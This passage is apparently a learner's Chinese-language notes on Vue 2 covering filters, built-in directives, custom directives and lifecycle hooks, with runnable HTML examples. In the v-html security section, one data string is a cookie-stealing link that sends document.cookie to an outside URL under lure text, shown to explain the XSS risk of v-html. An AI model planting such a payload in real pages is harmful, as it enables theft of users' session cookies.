return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
}
(2)多个过滤器的串联使用
注意点:time是一个一个传的,不会直接给mySlice
<h3>现在是:{{time | timeformater('YYYY-MM-DD') | mySlice}}</h3>
filters:{
// 过滤器的本质是一个函数
// 这里写str的初始值是为了以防timeformater没有传入参数的
timeformater(value,str='YYYY-MM-DD'){
// 这个value指的是time
console.log('@',value);
// return 'hello'
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
},
mySlice(value,str='YYYY-MM-DD'){
// 截取前4位
return value.slice(0,4)
}
}
5.局部过滤器(只能在当前vm中使用)
6.全局过滤器【Vue.filter()】
注意点:是filter不是filters
必须写在new实例之前
// 全局过滤器
Vue.filter('mySlice',function(value){
// 截取前4位
return value.slice(0,4)
})
7.动态绑定中使用过滤器
8.注意点
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script type="text/javascript" src="./js/vue.js"></script>
<script type="text/javascript" src="./dayjs.min.js"></script>
</head>
<body>
<!-- 过滤器:
1.定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
2.语法:
(1)注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
(2)使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器可以接收额外参数,多个过滤器也可以串联
2.并没有改变原本的数据,而是产生新的对应的数据 -->
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 使用计算属性格式化时间 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现格式化时间 -->
<!-- 因为是方法,所以记得小括号 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<!-- 不带参数的 -->
<h3>现在是:{{time | timeformater}}</h3>
<!-- 带参数的 -->
<h3>现在是:{{time | timeformater('YYYY-MM-DD') | mySlice}}</h3>
</div>
<div id="root2">
<h1>{{msg}}</h1>
<h2 :x="message | mySlice">动态绑定中使用过滤器</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionsTip=false
// 全局过滤器
Vue.filter('mySlice',function(value){
// 截取前4位
return value.slice(0,4)
})
const vm1=new Vue({
el: '#root',
data: {
time:1677890911030, //时间戳
message:'您好'
},
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
// 局部过滤器
filters:{
// 过滤器的本质是一个函数
// 这里写str的初始值是为了以防timeformater没有传入参数的
timeformater(value,str='YYYY-MM-DD'){
// 这个value指的是time
console.log('@',value);
// return 'hello'
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
},
mySlice(value,str='YYYY-MM-DD'){
// 截取前4位
return value.slice(0,4)
}
}
})
const vm2=new Vue({
el:'#root2',
data:{
msg:'hello'
}
})
</script>
</html>
filter只能在插值语法和v-bind中使用,不能再v-model中使用
过滤器产生的是一个新的结果,记得要重新赋值
17.内置指令(其他)
1.v-text:替换了节点中的内容
之前学过的指令:
v-bind:单向绑定解析表达式,可简写为:
v-model:双向数据绑定
v-for:遍历数组 / 对象 / 字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染 (动态控制节点是否展示)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!--
之前学过的指令:
v-bind:单向绑定解析表达式,可简写为:
v-model:双向数据绑定
v-for:遍历数组 / 对象 / 字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染 (动态控制节点是否展示)
v-text指令:
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。 -->
<div id="root">
<div>{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionsTip=false
const vm1=new Vue({
el: '#root',
data: {
name:'小坤',
str:'<h3>您好</h3>'
}
})
</script>
</html>
v-text指令:
作用:向其所在的节点中渲染文本内容
注意点:v-text不会解析标签
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
2.v-html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>收集表单数据</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<!-- 可以解析标签 -->
<div v-html="str"></div>
<!-- 不可以解析标签 -->
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionsTip=false
// 全局过滤器
Vue.filter('mySlice',function(value){
// 截取前4位
return value.slice(0,4)
})
const vm1=new Vue({
el: '#root',
data: {
name:'小坤',
str:'<h3>您好</h3>'
}
})
</script>
</html>
(1)安全性问题(cookie)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>Hello,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'JOJO',
str:'<h3>你好啊!</h3>',
// document.cookie:获取当前网站是所有cookie
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
2.总结
3.v-cloak :当网络较慢的时候,不让未解析的再页面上显示
总结
3.v-once
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<script type="text/javascript" src="./js/vue.min.js"></script>
</head>
<body>
<!-- v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能 -->
<div id="root">
<h2 v-once>n初始化的值是:{{n}}</h2>
<h2>n现在的值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
4.v-pre(Vue不解析)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!-- v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译 -->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
18.自定义指令:directives:{}
1.函数式:函数名字(获取要进行操作的DOM元素,binding)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
-->
<body>
<div id="root">
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
},
directives: {
//big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
// element:获取真实的DOM元素
// binding:是一个对象,里面包含value
big(element, binding) {
// console.log(element,binding);
console.log('big', this) //注意此处的this是window
element.innerText = binding.value * 10
}
}
})
</script>
</html>
2.对象式
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<!--
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
<body>
<div id="root">
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
},
directives:{
// 如果fbind是一个函数,则无法解决问题
// 因为fbind被调用的情况只有2种:1.指令与元素成功绑定时(一上来)【bind】 2.指令所在的模板被重新解析时【update】
// 所以将fbind写为对象
// fbind中必须出现的3个函数[名字不能改变]
fbind:{
//指令与元素成功绑定时(一上来)
// element指的是input
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
}
})
</script>
</html>
3.注意点
1.当指令名字出现“-”的时候:在directives中要加单引号
<h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
directives: {
//big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
'big-number'(element, binding) {
console.log('big', this) //注意此处的this是window
element.innerText = binding.value * 10
}
}
2.指令中的this都是window
3.全局指令:Vue.directive(‘函数名',{})
// 全局指令
Vue.directive('fbind2', {
//指令与元素成功绑定时(一上来)
bind(element, binding) {
console.log('fbind-bind', this); //window
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element, binding) {
console.log('fbind-inserted', this); //window
element.focus()
},
//指令所在的模板被重新解析时
update(element, binding) {
console.log('fbind-update', this); //window
element.value = binding.value
}
})
4.总结
1.自定义指令定义语法
1.局部指令:
new Vue({
directives:{指令名:配置对象}
})
new Vue({
directives:{指令名:回调函数}
})
2.全局指令:
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
2.配置对象中常用的3个回调函数:
bind(element,binding)
:指令与元素成功绑定时调用inserted(element,binding)
:指令所在元素被插入页面时调用update(element,binding)
:指令所在模板结构被重新解析时调用
3.备注:
指令定义时不加“v-”,但使用时要加“v-”
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
new Vue({
el:'#root',
data:{
n:1
},
directives:{
'big-number'(element,binding){
element.innerText = binding.value * 10
}
}
})
19.Vue生命周期
1.引出生命周期
1.通过外部的定时器实现(不推荐)
<script type="text/javascript">
Vue.config.productionTip = false
const vm=new Vue({
el: '#root',
data: {
opacity: 1
},
})
// 通过外部的定时器实现(不推荐)
setInterval(()=>{
vm.opacity-=0.01
if(vm.opacity<=0)
vm.opacity=1
})
</script>
2.引出mounted函数
// Vue完成模板的解析并把【初始】真实的DOM元素放入页面后(挂载完毕)调用mounted
mounted() {
// console.log('mounted');
// setInterval中的this指的是window,但是往外找是mounted,应该是vm
setInterval(() => {
this.opacity -= 0.01
if (this.opacity <= 0)
this.opacity = 1
})
},
生命周期:
(1)又名:生命周期回调函数、生命周期函数、生命周期钩子
(2)是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
(3)生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
(4)生命周期函数中的this指向是vm 或 组件实例对象
2.生命周期挂载流程
1.当不获取el的时候
2.把DOM元素写入template
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
// template:
// `
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data: {
n: 0
},
methods: {
add() {
this.n++
}
},
// 无法获取data和methods
beforeCreate() {
console.log('beforeCreate');
// console.log(this);//vm
// debugger
},
// 获取data和methods,并且进行数据监测和数据代理
created() {
console.log('created');
// console.log(this);//vm
},
// 页面呈现的是未经过Vue变量的DOM结构
// 存在内存中
beforeMount() {
console.log('beforeMount');
},
// Vue完成模板的解析并把【初始】真实的DOM元素放入页面后(挂载完毕)调用mounted
// 将内存中的虚拟DOM转为真正的DOM(经过Vue编译的DOM)
// 对DOM的操作均有效,但是尽可能避免
mounted() {
console.log('mounted');
},
})
</script>
</html>
3.生命周期更新流程
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>生命周期</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
// template:
// `
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data: {
n: 0
},
methods: {
add() {
this.n++
}
},
// 此时数据是新的,但是页面是旧的
beforeUpdate() {
console.log('beforeUpdate');
},
// 此时数据是新的,页面也更新了
updated() {
console.log('updated');
},
})
</script>
</html>
4.生命周期的销毁流程
在beforeDestroy 可以调用到data,methods,但是对数据的修改不起作用
// 此时vm中所有的data,methods,指令等还是可以使用的,但是实际上数据并不会被更新 // 此时:关闭定时器,取消订阅,解绑自定义事件 beforeDestroy() { console.log('befoeDestroy'); },
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>生命周期</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 0
},
methods: {
add() {
this.n++
},
bye(){
console.log('bey');
}
},
// 此时vm中所有的data,methods,指令等还是可以使用的,但是实际上数据并不会被更新
// 此时:关闭定时器,取消订阅,解绑自定义事件
beforeDestroy() {
console.log('befoeDestroy');
},
// 此时,vm上的与组件的联系断开,并且事件监听器也断开
destroyed() {
console.log('destoryed');
},
})
</script>
</html>
5.总结
完整视频:052_尚硅谷Vue技术_生命周期_总结_哔哩哔哩_bilibili
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<!--
常用的生命周期钩子:
1.mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
2.beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作
关于销毁Vue实例:
1.销毁后借助Vue开发者工具看不到任何信息
2.销毁后自定义事件会失效,但原生DOM事件依然有效
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了 -->
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
opacity:1
},
methods: {
stop(){
// 直接清除(暴力)
this.$destroy()
}
},
mounted(){
console.log('mounted',this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
// 在清除vm之前,先将定时器清除
// 为什么将这个写在beforeDestroy中,因为如果在destory中写,不知道是“他杀”还是“自杀”
// 但是无论是什么“杀”,都要经过beforeDestroy
beforeDestroy() {
clearInterval(this.timer)
console.log('vm即将驾鹤西游了')
},
})
</script>
</html>
常用的生命周期钩子:
mounted
:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
beforeDestroy
:清除定时器、解绑自定义事件、取消订阅消息等收尾工作
关于销毁Vue实例:
销毁后借助Vue开发者工具看不到任何信息
销毁后自定义事件会失效,但原生DOM事件依然有效
一般不会在
beforeDestroy
操作数据,因为即便操作数据,也不会再触发更新流程了